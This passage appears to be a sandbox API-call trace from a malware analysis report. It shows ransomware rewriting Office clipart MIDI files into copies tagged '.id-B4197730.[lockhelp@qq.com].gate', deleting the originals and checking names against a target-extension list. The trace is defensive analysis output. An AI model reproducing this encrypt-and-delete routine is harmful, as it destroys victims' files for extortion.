dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0299.796] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.796] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0299.797] GetLastError () returned 0x0 [0299.797] ReadFile (in: hFile=0x514, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x2178, lpOverlapped=0x0) returned 1 [0299.861] WriteFile (in: hFile=0x528, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2180, lpOverlapped=0x0) returned 1 [0299.862] ReadFile (in: hFile=0x514, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.862] WriteFile (in: hFile=0x528, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.862] SetEndOfFile (hFile=0x528) returned 1 [0299.867] CloseHandle (hObject=0x528) returned 1 [0299.867] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.867] SetEndOfFile (hFile=0x514) returned 1 [0299.919] CloseHandle (hObject=0x514) returned 1 [0299.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0299.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0299.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0299.920] lstrlenW (lpString=".doc") returned 4 [0299.920] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.920] lstrlenW (lpString=".docx") returned 5 [0299.920] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.920] lstrlenW (lpString=".pdf") returned 4 [0299.920] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.920] lstrlenW (lpString=".xls") returned 4 [0299.920] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.920] lstrlenW (lpString=".xlsx") returned 5 [0299.920] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.920] lstrlenW (lpString=".ppt") returned 4 [0299.920] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0299.920] lstrlenW (lpString=".zip") returned 4 [0299.921] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.921] lstrlenW (lpString=".rar") returned 4 [0299.921] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.921] lstrlenW (lpString=".bz2") returned 4 [0299.921] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.921] lstrlenW (lpString=".7z") returned 3 [0299.921] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0299.921] lstrlenW (lpString=".dbf") returned 4 [0299.921] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0299.921] lstrlenW (lpString=".1cd") returned 4 [0299.921] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0299.921] lstrlenW (lpString=".jpg") returned 4 [0299.921] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0299.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0299.921] lstrlenW (lpString=".doc") returned 4 [0299.921] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0299.921] lstrlenW (lpString=".docx") returned 5 [0299.921] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0299.921] lstrlenW (lpString=".pdf") returned 4 [0299.921] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0299.921] lstrlenW (lpString=".xls") returned 4 [0299.921] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0299.921] lstrlenW (lpString=".xlsx") returned 5 [0299.921] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0299.921] lstrlenW (lpString=".ppt") returned 4 [0299.921] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0299.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0299.921] lstrlenW (lpString=".zip") returned 4 [0299.921] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0299.922] lstrlenW (lpString=".rar") returned 4 [0299.922] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0299.922] lstrlenW (lpString=".bz2") returned 4 [0299.922] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0299.922] lstrlenW (lpString=".7z") returned 3 [0299.922] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0299.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0299.922] lstrlenW (lpString=".dbf") returned 4 [0299.922] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0299.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0299.922] lstrlenW (lpString=".1cd") returned 4 [0299.922] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0299.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0299.922] lstrlenW (lpString=".jpg") returned 4 [0299.922] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0299.922] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0299.922] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0299.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0299.923] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=6644) returned 1 [0299.923] CloseHandle (hObject=0x514) returned 1 [0299.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220 [0299.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0299.923] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.924] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0299.924] GetLastError () returned 0x0 [0299.924] ReadFile (in: hFile=0x514, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x19f4, lpOverlapped=0x0) returned 1 [0300.043] WriteFile (in: hFile=0x4b8, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x1a00, lpOverlapped=0x0) returned 1 [0300.176] ReadFile (in: hFile=0x514, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.176] WriteFile (in: hFile=0x4b8, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.176] SetEndOfFile (hFile=0x4b8) returned 1 [0300.429] CloseHandle (hObject=0x4b8) returned 1 [0300.430] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.430] SetEndOfFile (hFile=0x514) returned 1 [0300.434] CloseHandle (hObject=0x514) returned 1 [0300.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0300.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0300.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0300.675] lstrlenW (lpString=".doc") returned 4 [0300.675] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0300.675] lstrlenW (lpString=".docx") returned 5 [0300.675] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0300.675] lstrlenW (lpString=".pdf") returned 4 [0300.675] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0300.675] lstrlenW (lpString=".xls") returned 4 [0300.675] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0300.675] lstrlenW (lpString=".xlsx") returned 5 [0300.675] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0300.675] lstrlenW (lpString=".ppt") returned 4 [0300.675] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0300.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0300.675] lstrlenW (lpString=".zip") returned 4 [0300.675] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0300.675] lstrlenW (lpString=".rar") returned 4 [0300.675] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0300.675] lstrlenW (lpString=".bz2") returned 4 [0300.676] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0300.684] lstrlenW (lpString=".7z") returned 3 [0300.684] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0300.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0300.684] lstrlenW (lpString=".dbf") returned 4 [0300.684] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0300.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0300.684] lstrlenW (lpString=".1cd") returned 4 [0300.684] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0300.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0300.684] lstrlenW (lpString=".jpg") returned 4 [0300.684] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0300.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0300.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0300.684] lstrlenW (lpString=".doc") returned 4 [0300.684] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0300.684] lstrlenW (lpString=".docx") returned 5 [0300.684] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0300.684] lstrlenW (lpString=".pdf") returned 4 [0300.684] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0300.684] lstrlenW (lpString=".xls") returned 4 [0300.684] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0300.684] lstrlenW (lpString=".xlsx") returned 5 [0300.684] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0300.685] lstrlenW (lpString=".ppt") returned 4 [0300.685] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0300.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0300.685] lstrlenW (lpString=".zip") returned 4 [0300.685] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0300.685] lstrlenW (lpString=".rar") returned 4 [0300.685] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0300.685] lstrlenW (lpString=".bz2") returned 4 [0300.685] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0300.685] lstrlenW (lpString=".7z") returned 3 [0300.685] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0300.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0300.685] lstrlenW (lpString=".dbf") returned 4 [0300.685] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0300.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0300.685] lstrlenW (lpString=".1cd") returned 4 [0300.685] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0300.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0300.685] lstrlenW (lpString=".jpg") returned 4 [0300.685] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0300.685] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0300.685] lstrlenW (lpString="PARNT_03.MID") returned 12 [0300.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0300.686] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=8538) returned 1 [0300.686] CloseHandle (hObject=0x414) returned 1 [0300.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220 [0300.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0300.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0300.687] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.687] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0300.687] GetLastError () returned 0x0 [0300.688] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x215a, lpOverlapped=0x0) returned 1 [0300.711] WriteFile (in: hFile=0x404, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x2160, lpOverlapped=0x0) returned 1 [0300.713] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.713] WriteFile (in: hFile=0x404, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.713] SetEndOfFile (hFile=0x404) returned 1 [0300.713] CloseHandle (hObject=0x404) returned 1 [0300.713] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.713] SetEndOfFile (hFile=0x414) returned 1 [0300.715] CloseHandle (hObject=0x414) returned 1 [0300.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0300.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0300.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0300.716] lstrlenW (lpString=".doc") returned 4 [0300.716] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0300.716] lstrlenW (lpString=".docx") returned 5 [0300.716] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0300.716] lstrlenW (lpString=".pdf") returned 4 [0300.716] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0300.716] lstrlenW (lpString=".xls") returned 4 [0300.716] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0300.716] lstrlenW (lpString=".xlsx") returned 5 [0300.716] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0300.716] lstrlenW (lpString=".ppt") returned 4 [0300.716] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0300.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0300.716] lstrlenW (lpString=".zip") returned 4 [0300.716] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0300.716] lstrlenW (lpString=".rar") returned 4 [0300.716] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0300.716] lstrlenW (lpString=".bz2") returned 4 [0300.716] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0300.717] lstrlenW (lpString=".7z") returned 3 [0300.717] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0300.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0300.717] lstrlenW (lpString=".dbf") returned 4 [0300.717] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0300.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0300.717] lstrlenW (lpString=".1cd") returned 4 [0300.717] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0300.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0300.717] lstrlenW (lpString=".jpg") returned 4 [0300.717] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0300.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0300.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0300.717] lstrlenW (lpString=".doc") returned 4 [0300.717] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0300.717] lstrlenW (lpString=".docx") returned 5 [0300.717] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0300.717] lstrlenW (lpString=".pdf") returned 4 [0300.717] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0300.717] lstrlenW (lpString=".xls") returned 4 [0300.717] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0300.717] lstrlenW (lpString=".xlsx") returned 5 [0300.717] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0300.717] lstrlenW (lpString=".ppt") returned 4 [0300.717] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0300.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0300.717] lstrlenW (lpString=".zip") returned 4 [0300.717] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0300.717] lstrlenW (lpString=".rar") returned 4 [0300.718] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0300.718] lstrlenW (lpString=".bz2") returned 4 [0300.718] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0300.718] lstrlenW (lpString=".7z") returned 3 [0300.718] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0300.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0300.718] lstrlenW (lpString=".dbf") returned 4 [0300.718] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0300.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0300.718] lstrlenW (lpString=".1cd") returned 4 [0300.718] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0300.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0300.718] lstrlenW (lpString=".jpg") returned 4 [0300.718] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0300.718] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0300.718] lstrlenW (lpString="PARNT_05.MID") returned 12 [0300.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0300.808] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=6020) returned 1 [0300.808] CloseHandle (hObject=0x414) returned 1 [0300.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220 [0300.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0300.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0300.809] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.809] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 